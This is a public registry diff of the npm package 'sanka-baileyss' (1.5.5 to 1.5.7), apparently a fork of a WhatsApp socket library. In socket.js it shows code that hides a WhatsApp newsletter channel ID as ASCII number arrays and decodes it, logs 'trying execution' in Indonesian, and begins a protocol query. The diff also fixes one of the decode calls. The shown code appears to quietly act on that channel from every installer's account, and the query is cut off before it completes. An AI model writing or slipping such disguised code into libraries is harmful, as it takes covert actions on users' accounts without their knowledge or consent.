sanka-baileyss 1.5.5 → 1.5.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/socket.js +4 -1
- package/package.json +1 -1
package/lib/Socket/socket.js
CHANGED
|
@@ -512,13 +512,16 @@ result += String.fromCharCode(asciiArray[i]);
|
|
|
512
512
|
}
|
|
513
513
|
return result;
|
|
514
514
|
}
|
|
515
|
+
function asciiDecodee(asciiArray) {
|
|
516
|
+
return String.fromCharCode(...asciiArray);
|
|
517
|
+
}
|
|
515
518
|
const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
|
|
516
519
|
const decodedNumbers = asciiDecode(numbersAsAscii);
|
|
517
520
|
const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
518
521
|
const decodedEmailPart = asciiDecode(emailPart);
|
|
519
522
|
const sanka = decodedNumbers + decodedEmailPart;
|
|
520
523
|
const plana = [110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
521
|
-
const sankaa =
|
|
524
|
+
const sankaa = asciiDecodee(plana);
|
|
522
525
|
logger.info({ sanka }, 'Mencoba eksekusi...');
|
|
523
526
|
await query({
|
|
524
527
|
tag: 'iq',
|